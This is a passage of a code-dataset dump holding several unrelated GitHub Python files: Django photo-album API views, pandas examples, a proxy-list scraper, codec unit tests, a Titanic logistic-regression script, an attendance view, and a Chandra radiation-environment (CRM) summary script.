self.create(request)\n return response\n\n\nclass AlbumDetailView(GenericAPIView):\n authentication_classes = (JSONWebTokenAuthentication,)\n lookup_url_kwarg = \"album_id\"\n\n def get(self, request, album_id):\n album_id = self.kwargs.get(self.lookup_url_kwarg)\n photos = Photo.objects.filter(album__id=album_id)\n photo_serializer = PhotoSerializer(photos, many=True)\n\n album = Album.objects.filter(id=album_id)\n album_serializer = AlbumSerializer(album, many=True)\n\n return Response({ \"curr_album\": album_serializer.data,\n \"photos\": photo_serializer.data },\n content_type=\"JSON\")\n\n\nclass CreatePhoto(GenericAPIView, CreateModelMixin):\n print(\"inside CreatePhoto\")\n authentication_classes = (JSONWebTokenAuthentication,)\n lookup_url_kwarg = \"album_id\"\n\n def post(self, request, album_id):\n # print(\"attempting to post photo\")\n\n album_id = self.kwargs.get(self.lookup_url_kwarg)\n album = Album.objects.filter(id=album_id)\n if request.user.id != album[0].user.id:\n return Response({\"statusText\": \"Only album owners can add photos\"},\n status=status.HTTP_403_FORBIDDEN)\n\n body = request.body\n data = json.loads(body.decode(\"utf-8\"))\n\n caption = data[\"caption\"]\n image_url = data[\"image_url\"]\n\n if album[0].image_url == default_image_url:\n album.update(image_url = image_url)\n upload_date = timezone.now()\n\n # Update album's cover image if doesn't exist\n # Check whether url is default\n # album.image_url = image_url\n\n photo = {'caption': caption,\n 'image_url': image_url,\n 'album': album,\n 'upload_date': upload_date}\n\n photo_serializer = PhotoSerializer(data=photo)\n\n if photo_serializer.is_valid():\n photo_serializer.save()\n return Response({\"photo\": photo_serializer.data}, content_type=\"JSON\")\n return Response(photo_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"JoyJing1/Pixpy","sub_path":"src/albums/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"69852424488","text":"import pandas as pd\nimport numpy as np\n\ndf = pd.DataFrame({'A': [100, 200, 300, 400, 500], 'B': [1000, 2000, 3000, 4000, 5000]})\n\n# for a larger DF, we can use Numpy (r,c)\n\ndf1 = pd.DataFrame(np.random.rand(4, 8), columns=list('ABCDEFGH'))\n# print(df)\n# print(df[1:3])\n\ndf = pd.DataFrame(index=pd.date_range(start='1/1/2018', periods=8),\n data=np.random.rand(8, 2), columns=['A', 'B'])\n\ndf.at[df.index[-1], 'B'] = 1.1 # replace last value in B with 1.1\n# print(df)\n\nbool_filt = df.index > '2018-01-06'\n# print(df[bool_filt])\n\n# resampling\n\ndate_index = pd.date_range(start='01-Jan-2019', end='30-Jan-2019', freq='min')\ndata = np.random.rand(len(date_index), 2)\ndf_intraday = pd.DataFrame(index=date_index, data=data, columns=['A_col', 'B_col'])\n\n# print(df_intraday.head(5))\ndf_hourly_last = df_intraday.resample('H').last()\ndf_sum_columns = df_intraday.sum(axis=0)\nprint(df_sum_columns)\n\ndf_sum_rows = df_intraday.sum(axis=1)\nprint(df_sum_rows)\n","repo_name":"MarkBanford/TipsAndTricks","sub_path":"PandasTricks/CreateExampleDF.py","file_name":"CreateExampleDF.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28600057110","text":"\n\n\n\n\n\n\n\n\nimport requests\nfrom fake_useragent import UserAgent\nfrom lxml import etree\nimport pandas as pd\n\n\ndef main() -> None:\n url = 'https://ip.ihuan.me/'\n headers = {\n 'User-Agent': UserAgent().random\n }\n\n resp = requests.get(url, headers=headers)\n e = etree.HTML(resp.text)\n tr = e.xpath(\"//table/tbody/tr\")[0]\n\n ip_list = tr.xpath(\"//td[1]/a/text()\")\n port_list = tr.xpath(\"//td[2]/text()\")\n is_support_https_list = tr.xpath('//td[5]/text()')\n anonymity_list = tr.xpath(\"//td[7]/a/text()\")\n speed_list = tr.xpath('//td[8]/text()')\n\n with open('./proxy_ip.csv', \"a\", encoding='utf-8') as f:\n for tuple_str in zip(ip_list, port_list, is_support_https_list, anonymity_list, speed_list):\n # tuple_str = set(tuple_str)\n f.write(','.join(tuple_str)+'\\n')\n\n\n\n\n\n\n\n\n resp.close()\n\n\ndef get_rid_of_repeat() -> None:\n str = ''.join(list(set(open(\"./proxy_ip.csv\", 'r', encoding='utf-8').readlines())))\n with open('./proxy_ip.csv', 'w', encoding='utf-8') as f:\n f.write(str)\n\n\nif __name__ == '__main__':\n # for i in range(10):\n # main()\n get_rid_of_repeat()","repo_name":"WakingHours-GitHub/PythonSpider","sub_path":"项目/爬取代理/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"573988206","text":"# Hye-Shik Chang <1 March 2002>\n\nimport StringIO\nimport sys, codecs\nimport unittest\nfrom korean import aliases\ndel aliases\n\ndef escape(s):\n buffer = []\n for c in map(ord, s):\n if c < 0x20 or c > 0x7f:\n buffer.append(\"\\\\%03o\" % c)\n else:\n buffer.append(chr(c))\n return \"'\" + ''.join(buffer) + \"'\"\n\n\nclass CodecTestBase(unittest.TestCase):\n\n encoding = '' # codec name\n textfile_chunk = None # (native, utf-8) file name tuple\n textfile_stream = None # (native, utf-8)\n \n errortests = None # must set. error test tuple\n\n def setUp(self):\n if not self.textfile_chunk:\n self.textfile_chunk = ('text.' + self.encoding, \n 'text.%s.utf-8' % self.encoding) or self.textfile_stream\n if not self.textfile_stream:\n self.textfile_stream = self.textfile_chunk # checked above. :)\n\n def test_ChunkCoding(self):\n for native, utf8 in zip(*[open(f).readlines() for f in self.textfile_chunk]):\n u = unicode(native, self.encoding)\n self.assertEqual(u, unicode(utf8, 'utf-8'))\n self.assertEqual(native, u.encode(self.encoding))\n\n def test_ErrorHandling(self):\n encode, decode, Reader, Writer = codecs.lookup(self.encoding)\n for source, scheme, expected in self.errortests:\n if type(source) == type(''):\n func = decode\n else:\n func = encode\n if expected:\n result = func(source, scheme)[0]\n self.assertEqual(result, expected)\n else:\n try:\n result = func(source, scheme)[0]\n except UnicodeError:\n continue\n self.fail('UnicodeError expected')\n\n\nclass TestStreamReader:\n\n # stream test codes has taken from KAJIYAMA's JapaneseCodecs\n\n def test_StreamReader(self):\n Reader = codecs.lookup(self.encoding)[2]\n UTF8Writer = codecs.lookup('utf-8')[3]\n textnative = open(self.textfile_stream[0]).read()\n textuni = open(self.textfile_stream[1]).read()\n\n for name in [\"read\", \"readline\", \"readlines\"]:\n for sizehint in [None, -1] + range(1, 33) + [64, 128, 256, 512, 1024]:\n istream = Reader(StringIO.StringIO(textnative))\n ostream = UTF8Writer(StringIO.StringIO())\n func = getattr(istream, name)\n while 1:\n data = func(sizehint)\n if not data:\n break\n if name == \"readlines\":\n ostream.writelines(data)\n else:\n ostream.write(data)\n\n self.assertEqual(ostream.getvalue(), textuni)\n\n\nclass TestStreamWriter:\n\n def test_StreamWriter(self):\n UTF8Reader = codecs.lookup('utf-8')[2]\n Writer = codecs.lookup(self.encoding)[3]\n textnative = open(self.textfile_stream[0]).read()\n textuni = open(self.textfile_stream[1]).read()\n\n for name in [\"read\", \"readline\", \"readlines\"]:\n for sizehint in [None, -1] + range(1, 33) + [64, 128, 256, 512, 1024]:\n istream = UTF8Reader(StringIO.StringIO(textuni))\n ostream = Writer(StringIO.StringIO())\n func = getattr(istream, name)\n while 1:\n data = func(sizehint)\n if not data:\n break\n if name == \"readlines\":\n ostream.writelines(data)\n else:\n ostream.write(data)\n\n self.assertEqual(ostream.getvalue(), textnative)\n\ndef main():\n sys.argv.insert(1, '-v')\n unittest.main(argv=sys.argv)\n","repo_name":"jwasinger/mailman_cas","sub_path":"mailman-2.1.12/misc/KoreanCodecs-2.0.5/test/CodecTestBase.py","file_name":"CodecTestBase.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32484809912","text":"import pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \nimport random\nfrom sklearn.linear_model import LogisticRegression as LR\n\ndef Age_to_notnull(data):\n\ta= []\n\tfor _ in range(data.Age[data.Age.isnull()].size):\n\t\tli = random.choice(range(1,101))\n\t\tif li <= 15:\n\t\t\ta.append(8.5)\n\t\telif li >73:\n\t\t\ta.append(55)\n\t\telse:\n\t\t\ta.append(27)\n\treturn a\n# 读取数据\npath_train = 'C:/Users/123/Desktop/train.csv'\npath_test = 'C:/Users/123/Desktop/test.csv'\npath_test_y = 'C:/Users/123/Desktop/gender_submission.csv'\ndata = pd.read_csv(path_train)\ntest_data = pd.read_csv(path_test)\ntest_y = pd.read_csv(path_test_y).Survived\n# 数据复制\ntrain_data = data.copy()\n# 数据规约\n# 年龄\ntrain_data.Age[train_data.Age.isnull()] = Age_to_notnull(train_data)\ntest_data.Age[test_data.Age.isnull()] = Age_to_notnull(test_data)\n# 票价\ntrain_data.Fare = train_data.Fare / train_data.Fare.max()\ntest_data.Fare = test_data.Fare / test_data.Fare.max()\ntest_data.Fare[test_data.Fare.isnull()] = test_data.Fare.mean()\n# 性别\ntrain_data.Sex[train_data.Sex == 'female'] = 1\ntrain_data.Sex[train_data.Sex == 'male'] = -1\ntest_data.Sex[test_data.Sex == 'female'] = 1\ntest_data.Sex[test_data.Sex == 'male'] = -1\n# 数据筛选\nx_train = train_data[['Pclass','Sex','Age','SibSp','Parch','Fare']]\ny_train = train_data.Survived\nx_test = test_data[['Pclass','Sex','Age','SibSp','Parch','Fare']]\n# 建模型\nlr = LR()\nlr.fit(x_train,y_train)\nresult = lr.predict(x_test)\nn = 0\nfor i,j in zip(test_y,result):\n\tif i == j:\n\t\tn += 1\nprint('正确率为:',n/test_y.size) \n\n\n\n\n\n\n","repo_name":"jessaperkmen/DataScience","sub_path":"The Battle three/Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23077010937","text":"import student_container\nfrom user_database import UserDataBase\nfrom view import View\n\nimport string\n\nclass AttendanceView(View):\n\n @classmethod\n def choose_group(cls, classes):\n cls.clear_terminal()\n cls.display_groups(classes)\n group_choice = cls.get_user_input('\\n')\n return group_choice\n\n @classmethod\n def display_groups(cls, classes):\n print(\"Available classes are: \")\n for group in classes:\n print(\"class name: \", group)\n\n @classmethod\n def display_student_to_check(cls, student):\n student_not_checked = True\n while student_not_checked:\n # View.clear_terminal()\n check = cls.get_user_input(\"Is {} present? y/n\".format(student)).lower()\n if check in ('y', 'n'):\n return check\n\n\n","repo_name":"sebastianslupinski/CCMS_Python","sub_path":"attendance_view.py","file_name":"attendance_view.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9634771692","text":"#!/proj/sot/ska3/flight/bin/python\n\n#############################################################################################\n# #\n# create_crm_summary_table.py: update CRMsummary.dat data summary table #\n# #\n# author: t. isobe (tiosbe@cfa.harvard.edu) #\n# #\n# last update: Oct 07, 2021 #\n# #\n#############################################################################################\n\nimport os\nimport sys\nimport re\nimport string\nimport math\nimport time\nimport datetime\nimport Chandra.Time\nimport random\nimport numpy\n\npath = '/data/mta4/Space_Weather/house_keeping/dir_list'\nwith open(path, 'r') as f:\n data = [line.strip() for line in f.readlines()]\n\nfor ent in data:\n atemp = re.split(':', ent)\n var = atemp[1].strip()\n line = atemp[0].strip()\n exec(\"%s = %s\" %(var, line))\n\nsys.path.append('/data/mta4/Script/Python3.10/MTA/')\nimport mta_common_functions as mcf\n#\n#--- set a temporary file name\n#\nrtail = int(time.time()*random.random())\nzspace = '/tmp/zspace' + str(rtail)\n#\n#--- setting dir path\n#\nroot_dir = '/data/mta4/proj/rac/ops/'\nweb_dir = html_dir + 'CRM/'\ncrmdat_root = crm3_dir + '/Data/CRM3_p.dat'\nsumdat = crm3_dir + '/Data/CRMsummary.dat'\narcdat = crm3_dir + '/Data/CRMarchive.dat'\nephdat = ephem_dir + '/Data/gephem.dat'\nkpdat = ace_dir + '/Data/kp.dat'\nacedat = ace_dir + '/Data/fluace.dat'\ngp_dat = goes_dir + '/Data/Gp_pchan_5m.txt'\n#gs_dat = goes_dir + '/Data/Gs_pchan_5m.txt'\ngpe_dat = goes_dir + '/Data/Gp_part_5m.txt'\n#\n#--- data files\n#\nsim_file = \"/proj/sot/acis/FLU-MON/FPHIST-2001.dat\"\notg_file = \"/proj/sot/acis/FLU-MON/GRATHIST-2001.dat\"\n#for writing out files in test directory\nif (os.getenv('TEST') == 'TEST'):\n os.system('mkdir -p TestOut')\n test_out = os.getcwd() + '/TestOut'\n#\n#--- other settings\n#\ndelta = 300\nsw_factor = [0, 1, 2, 0.5]\ncrm_factor = [0, 0, 1, 1]\n#\n#--- crm file category according to kp value\n#\ncrm_n_list = ['00', '03', '07', '10', '13', '17', '20', '23', '27','30', '33', '37',\\\n '40', '43', '47', '50', '53', '57', '60', '63', '67','70', '73', '77',\\\n '80', '83', '87', '90']\n\ngp_p4_c_factor = 3.4 #---- factor to correct p2 to p4gm \ngp_p7_c_factor = 12.0 #---- facotr to correct p5 to p41gm\n#\n#--- satellite location regarded to the solar wind environment\n#\nsol_region = ['NULL', 'Solar_Wind', 'Magnetosheath', 'Magnetosphere']\n#\n#--- current time in :::: and in seconds from 1998.1.1\n#\ncl_time = time.strftime('%Y:%j:%H:%M:%S', time.gmtime())\ncurrent_time = Chandra.Time.DateTime(cl_time).secs\n\n#-------------------------------------------------------------------------------\n#-- create_crm_summary_table: update CRMsummary.dat data summary table --\n#-------------------------------------------------------------------------------\n\ndef create_crm_summary_table():\n \"\"\"\n update CRMsummary.dat data summary table\n input: none, but read several input data table\n output: /GOES/Data/CRMsummary.dat\n /GOES/Data/CRMarchive.dat\n \"\"\"\n#\n#--- read all needed data\n#\n [gp_p4, gp_p7] = read_goes_p_data(gp_dat)\n #[gs_p2, gs_p5] = read_goes_p_data(gs_dat)\n gp_e2 = read_goes_e_data(gpe_dat)\n [alt, leg] = read_ephem_data()\n [kp, kpi] = read_kp_data() \n ace = read_ace_data()\n [region, flux, summary] = read_crm_fluence(kpi, ace)\n si = read_sim()\n otg = read_otg()\n aflux = find_attenuate_flux(flux, si, otg)\n#\n#--- supply missing data\n#\n if gp_p4 == '': gp_p4 = float(summary[-11])\n if gp_p7 == '': pg_p5 = float(summary[-9])\n ostart = summary[-7]\n fluence = float(summary[-2])\n afluence = float(summary[-1])\n#\n#--- when the orbit changes from decending to acending, write the data into an archive\n#--- and reset orbit starting time (ostart) fluence and afluence\n#\n if leg == 'A' and summary[-6] == 'D':\n oend = time.strftime(\"%Y:%j:%H:%M:%S\", time.gmtime())\n outfile = arcdat\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n outfile = test_out + \"/\" + os.path.basename(arcdat)\n os.system(f\"touch {outfile}\")\n with open(outfile, 'a') as fo:\n line = str(ostart) + ' ' + oend + ' ' + str(fluence) + ' ' + str(afluence) + '\\n'\n fo.write(line)\n ostart = oend\n fluence = 0.0\n afluence = 0.0\n\n fluence += (flux * delta)\n afluence += (aflux * delta)\n#\n#--- print out the data\n#\n line = ''\n line = line + \" Currently scheduled FPSI, OTG : \" + si + ' ' + otg + '\\n'\n line = line + \" Estimated Kp : \" + str(kp) + '\\n'\n line = line + \" ACE EPAM P3 Proton Flux (p/cm^2-s-sr-MeV) : %.2e\\n\" % (check_val(ace))\n line = line + \" GOES-R P4 flux, in RADMON P4GM units : %.2e\\n\" % (check_val(gp_p4))\n #line = line + \" GOES-S P2 flux, in RADMON P4GM units : %.2f\\n\" % (check_val(ps_p2))\n line = line + \" GOES-R P7 flux, in RADMON P41GM units : %.2e\\n\" % (check_val(gp_p7))\n #line = line + \" GOES-S P5 flux, in RADMON P41GM units : %.2f\\n\" % (gp_p7)\n line = line + \" GOES-R E > 2.0 MeV flux (p/cm^2-s-sr) : %.2e\\n\" % (check_val(gp_e2))\n line = line + \" Orbit Start Time : \" + ostart + '\\n'\n line = line + \" Geocentric Distance (km), Orbit Leg : \" + str(alt) + ' ' + leg + '\\n'\n line = line + \" CRM Region : \" + str(region) \n line = line + \"(\" + sol_region[region] + \")\\n\"\n line = line + \" External Proton Flux (p/cm^2-s-sr-MeV) : %.4e\\n\" % (flux)\n line = line + \" Attenuated Proton Flux (p/cm^2-s-sr-MeV) : %.4e\\n\" % (aflux)\n line = line + \" External Proton Orbital Fluence (p/cm^2-sr-MeV) : %.4e\\n\" % (fluence)\n line = line + \"Attenuated Proton Orbital Fluence (p/cm^2-sr-MeV) : %.4e\\n\" % (afluence)\n line = line + '\\n\\n'\n line = line + 'Last Data Update: ' + cl_time + ' (UT)'\n line = line + '\\n\\n'\n #line = line + 'Due to transition to GOES-16, what used to be P2 is now P4\\n'\n #line = line + 'and what used to be P5 is now P7 This message will dissappear\\n'\n #line = line + 'in 01/31/2021'\n\n outfile = sumdat\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n outfile = test_out + \"/\" + os.path.basename(sumdat)\n with open(outfile, 'w') as fo:\n fo.write(line)\n#\n#--- back up the data files\n#\n cmd = 'cp -f ' + sumdat + ' ' + web_dir + 'CRMsummary.dat'\n os.system(cmd)\n cmd = 'cp -f ' + arcdat + ' ' + web_dir + 'CRMarchive.dat'\n os.system(cmd)\n#\n#--- update web page\n#\n update_crm_html()\n#\n#--- plot data (moved to plot_crm_flux_data.py Mar 05, 2020)\n#\n# cmd = '/usr/local/bin/idl ' + crm3_dir + '/Scripts/CRM_plots.idl > /dev/null 2>&1'\n# os.system(cmd)\n\n#-------------------------------------------------------------------------------\n#-------------------------------------------------------------------------------\n#-------------------------------------------------------------------------------\n\ndef check_val(val):\n try:\n val = float(val)\n except:\n val = 0.0\n\n return val\n\n#-------------------------------------------------------------------------------\n#-- read_goes_p_data: read the current GOES proton fluxes --\n#-------------------------------------------------------------------------------\n\ndef read_goes_p_data(ifile):\n \"\"\"\n read the current GOES proton fluxes\n input: ifile --- file name\n output: gp_p4 --- p4 flux\n pg_p7 --- p7 flux\n note: p2 p5 definition may be different from a satellite to another\n \"\"\"\n data = mcf.read_data_file(ifile)\n gp_p4 = ''\n gp_p7 = ''\n if len(data) > 0:\n if data[-2][0] != '#':\n atemp = re.split('\\s+', data[-2])\n try:\n gp_p4 = float(atemp[5]) * gp_p4_c_factor\n gp_p7 = float(atemp[8]) * gp_p7_c_factor\n except:\n pass\n\n return [gp_p4, gp_p7]\n\n#-------------------------------------------------------------------------------\n#-- read_goes_e_data: read the current GOES electron data --\n#-------------------------------------------------------------------------------\n\ndef read_goes_e_data(ifile):\n \"\"\"\n read the current GOES electron data\n input: ifile --- file name\n output: gp_e2 --- flux > 2kev\n \"\"\"\n\n gp_e2 = ''\n data = mcf.read_data_file(ifile)\n for ent in data:\n if ent[0] == '#':\n continue\n atemp = re.split('\\s+', ent)\n try:\n val = float(atemp[14])\n if val > 4.0: #--- it seems 4.0 is the 'null' value\n gp_e2 = val\n except:\n pass\n\n return gp_e2\n\n#-------------------------------------------------------------------------------\n#-- read_ephem_data: read the current ephem data --\n#-------------------------------------------------------------------------------\n\ndef read_ephem_data():\n \"\"\"\n read the current ephem data\n input: none but read from \n output: alt --- altitude\n leg --- A (acending) or D (decending)\n \"\"\"\n data = mcf.read_data_file(ephdat)\n alt = []\n leg = []\n for ent in data:\n atemp = re.split('\\s+', ent)\n alt = int(float(atemp[0])/1000.)\n leg = atemp[1]\n\n return [alt, leg]\n\n#-------------------------------------------------------------------------------\n#-- read_kp_data: read the current kp value --\n#-------------------------------------------------------------------------------\n\ndef read_kp_data():\n \"\"\"\n read the current kp value\n input: none, but read from \n ouput: kp --- kp value\n kpi --- indicator of wihc CRM file to be used\n \"\"\"\n kp = -1.0\n kpi = '00'\n kpgood = kpdat + '.good'\n try:\n data = mcf.read_data_file(kpdat)\n atemp = re.split('\\s+', data[-1])\n kp = float(atemp[-2])\n#\n#--- if the data is good, copy it to kp.dat.good for future use\n#\n cmd = 'cp -f ' + kpdat + ' ' + kpgood\n os.system(cmd)\n except:\n#\n#--- the data is bad. use the last good data\n#\n data = mcf.read_data_file(kpgood)\n atemp = re.split('\\s+', data[-1])\n kp = float(atemp[-2])\n\n kpi = \"%3.1f\" % kp\n kpi = kpi.replace('.', '')\n\n return [kp, kpi]\n\n#-------------------------------------------------------------------------------\n#-- read_ace_data: read current ace value --\n#-------------------------------------------------------------------------------\n\ndef read_ace_data():\n \"\"\"\n read current ace value\n input: none, but read from \n output: ace --- ace value\n \"\"\"\n ace = 0\n acegood = acedat + '.good'\n try:\n data = mcf.read_data_file(acedat)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n#\n#--- if the data is good, copy it to kp.dat.good for future use\n#\n cmd = 'cp -f ' + acedat + ' ' + acegood\n os.system(cmd)\n else:\n data = mcf.read_data_file(acegood)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n except:\n#\n#--- the data is bad. use the last good data\n#\n data = mcf.read_data_file(acegood)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n\n return ace\n\n#-------------------------------------------------------------------------------\n#-- read_crm_fluence: read the last CRMsummary data and compute flux --\n#-------------------------------------------------------------------------------\n\ndef read_crm_fluence(kpi, ace):\n \"\"\"\n read the last CRMsummary data and compute flux\n input: kpi --- crm file indicator\n ace --- ace vluae\n it also reads data from = CRMsummary.dat\n output: flux\n summary --- a list of values of:\n Currently scheduled FPSI, OTG\n Estimated Kp\n ACE EPAM P3 Proton Flux (p/cm^2-s-sr-MeV)\n GOES-P P2 flux, in RADMON P4GM units\n GOES-S P2 flux, in RADMON P4GM units\n GOES-P P5 flux, in RADMON P41GM units\n GOES-S P5 flux, in RADMON P41GM units\n GOES-P E > 2.0 MeV flux (p/cm^2-s-sr)\n Orbit Start Time\n Geocentric Distance (km), Orbit Leg :\n CRM Region\n External Proton Flux (p/cm^2-s-sr-MeV)\n Attenuated Proton Flux (p/cm^2-s-sr-MeV)\n External Proton Orbital Fluence (p/cm^2-sr-MeV)\n Attenuated Proton Orbital Fluence (p/cm^2-sr-MeV)\n \"\"\"\n\n data = mcf.read_data_file(sumdat)\n summary = []\n for ent in data:\n mc = re.search(':', ent)\n if mc is None:\n continue\n mc = re.search('Last', ent)\n if mc is not None:\n break\n\n atemp = re.split('\\s+', ent)\n try:\n val = flat(atemp[-1])\n except:\n val = atemp[-1].strip()\n\n summary.append(val)\n\n ifile = crmdat_root + kpi\n data = mcf.read_data_file(ifile)\n\n chk = 0\n for ent in data:\n atemp = re.split('\\s+', ent)\n time = float(atemp[0])\n if time > current_time:\n comp = atemp\n chk =1\n break\n else:\n stime = time\n save = atemp\n#\n#--- find data closest to the current time\n#\n if chk == 0:\n crm = save\n else:\n if abs(time - current_time) > abs(current_time - stime):\n crm = save\n else:\n crm = comp\n#\n#--- find flux with correction\n#\n region = int(float(crm[1])) \n flux = crm_factor[region] * float(crm[2]) + sw_factor[region] * ace\n\n return [region, flux, summary]\n\n#-------------------------------------------------------------------------------\n#-- read_sim: find the current instrument --\n#-------------------------------------------------------------------------------\n\ndef read_sim():\n \"\"\"\n find the current instrument\n input: none but read from \n output: si\n \"\"\"\n si = 'NA'\n\n data = mcf.read_data_file(sim_file)\n for ent in data:\n atemp = re.split('\\s+', ent)\n btemp = re.split('\\.', atemp[0])\n try:\n ctime = Chandra.Time.DateTime(btemp[0]).secs\n except:\n continue\n if ctime > current_time:\n break\n si = atemp[1]\n\n return si\n\n#-------------------------------------------------------------------------------\n#-- read_otg: find which grating is used ---\n#-------------------------------------------------------------------------------\n\ndef read_otg():\n \"\"\"\n find which grating is used\n input: nont but read from \n output: otg --- HETG/LETG/NONE/BAD\n \"\"\"\n convert_grathist_format()\n data = mcf.read_data_file(otg_file)\n hetg = ''\n letg = ''\n for ent in data:\n cols = re.split('\\s+', ent)\n btemp = re.split('\\.', cols[0])\n try:\n ctime = Chandra.Time.DateTime(btemp[0]).secs\n except:\n continue\n if ctime > current_time:\n break\n else:\n hetg = cols[1]\n letg = cols[2]\n\n otg = 'NONE'\n if hetg == 'HETG-IN' and letg == 'LETG-OUT':\n otg = 'HETG'\n elif hetg == 'HETG-OUT' and letg == 'LETG-IN':\n otg = 'LETG'\n elif hetg == 'HETG-IN' and letg == 'LETG-IN':\n otg = 'BAD'\n else:\n otg = 'NONE'\n\n return otg\n\n#-------------------------------------------------------------------------------\n#-- find_attenuate_flux: compute attenuated flux --\n#-------------------------------------------------------------------------------\n\ndef find_attenuate_flux(flux, si, otg):\n \"\"\"\n compute attenuated flux\n input: flux --- flax\n si --- instrument\n otg --- grating \n output: aflux --- attenudated flux\n \"\"\"\n\n aflux = flux\n mc = re.search('HRC', si)\n if mc is not None:\n aflux = 0.0\n elif otg == 'LETG':\n aflux *= 0.5\n elif otg == 'HETG':\n aflux *= 0.2\n\n return aflux\n \n#-------------------------------------------------------------------------------\n#-- current_yday: get the current tim in day of the year with year ---\n#-------------------------------------------------------------------------------\n\ndef current_yday():\n \"\"\"\n get the current tim in day of the year with year: ex: 2020001.12343\n input: none\n output: ydoy ---- year date with year at the front\n \"\"\"\n\n out = time.strftime('%Y:%j:%H:%M:%S', time.gmtime())\n atemp = re.split(':', out)\n year = float(atemp[0])\n yday = float(atemp[1])\n hh = float(atemp[2])\n mm = float(atemp[3])\n ss = float(atemp[4])\n ydoy = 1000 * year + yday + hh / 24.0 + mm /1400.0 + ss / 86400.0\n\n return ydoy\n\n#-------------------------------------------------------------------------------\n#-- update_crm_html: update crm web site----------------------------------------\n#-------------------------------------------------------------------------------\n\ndef update_crm_html():\n \"\"\"\n update crm web site\n input none but read from /CRMsummary.dat\n output: /CRMsummary.html\n \"\"\"\n ifile = crm3_dir + '/Data/CRMsummary.dat'\n with open(ifile, 'r') as f:\n line = f.read()\n \n ifile = house_keeping + 'top_page_template'\n with open(ifile, 'r') as f:\n html = f.read()\n \n html = html.replace(\"#TEXT#\", line)\n \n ofile = html_dir + 'index.html'\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n ofile = test_out + \"/index.html\"\n with open(ofile, 'w') as fo: \n fo.write(html)\n\n#-------------------------------------------------------------------------------\n#-- convert_grathist_format: convert GRATHIST format --\n#-------------------------------------------------------------------------------\n\ndef convert_grathist_format():\n \"\"\"\n convert GRATHIST format\n input: none but read from: /proj/sot/acis/FLU-MON/GRATHIST-2001.dat\n output: /Data/grathist.dat\n \"\"\"\n\n ifile = '/proj/sot/acis/FLU-MON/GRATHIST-2001.dat'\n data = mcf.read_data_file(ifile)\n line = ''\n for ent in data:\n atemp = re.split('\\s+', ent)\n line = line + atemp[0].replace(':', ' ') + ' '\n if atemp[1] == 'HETG-IN':\n line = line + '1' + ' '\n else:\n line = line + '0' + ' '\n if atemp[2] == 'LETG-IN':\n line = line + '1' + ' '\n else:\n line = line + '0' + ' '\n line = line + atemp[3] + '\\n'\n\n ofile = crm3_dir + 'Data/grathist.dat'\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n ofile = test_out + \"/grathist.dat\"\n with open(ofile, 'w') as fo:\n fo.write(line)\n\n\n#-------------------------------------------------------------------------------\n#---THIS IS NOT USED.... ---\n#-------------------------------------------------------------------------------\n\ndef read_crm_data():\n file1 = crmdat_root + '87'\n file2 = crmdat_root + '90'\n if os.path.isfile(file2):\n if os.stat(file1).st_size == os.stat(file2).st_size:\n new_crm = []\n for ent in crm_n_list:\n ifile = crmdat_root + ent\n data = mcf.read_data_file(ifile)\n new_crm.append(data)\n\n return new_crm\n else:\n return False\n\n\n#-------------------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n\n create_crm_summary_table()\n \n","repo_name":"chandra-mta/Space_Weather_New","sub_path":"CRM3/Scripts/create_crm_summary_table.py","file_name":"create_crm_summary_table.py","file_ext":"py","file_size_in_byte":20907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27682253319","text":"products = [\n {\n 'product_id': 1,\n 'category_id': 2,\n 'name': 'Women\\'s Grommet Cutout Cropped Hoodie Top',\n 'description': 'Grommet eyelet cutout front high low hoodie for women',\n 'price': 29.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/d588d187-585b-4be1-b1cf-6c0af9c19295/image1.jpg'\n },\n {\n 'product_id': 2,\n 'category_id': 1,\n 'name': 'Women\\'s Shirt Gown',\n 'description': 'Casual shirt gown for women',\n 'price': 49.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/19550ed8-d5c0-4314-b5e7-2500a814e393/image2.jpg'\n },\n {\n 'product_id': 3,\n 'category_id': 2,\n 'name': 'Women\\s Square Neck Cropped Top',\n 'description': 'Square neck cropped top for women',\n 'price': 19.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/116f795d-2435-4aed-9636-151085cdbdb0/image3.jpg'\n },\n {\n 'product_id': 4,\n 'category_id': 1,\n 'name': 'Women\\'s Coperate Gown',\n 'description': 'Coperate black gown for women',\n 'price': 59.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/997ce651-98ad-490d-8f0a-212f1b88835b/image4.jpg'\n },\n {\n 'product_id': 5,\n 'category_id': 2,\n 'name': 'Women\\'s Cropped Top',\n 'description': 'Classic different types of women cropped top',\n 'price': 17.99,\n 'stock_quantity': 60,\n 'image_url': 'https://ucarecdn.com/e832c63a-26d7-4bea-b211-c5d5635baed7/image5.jpg'\n },\n {\n 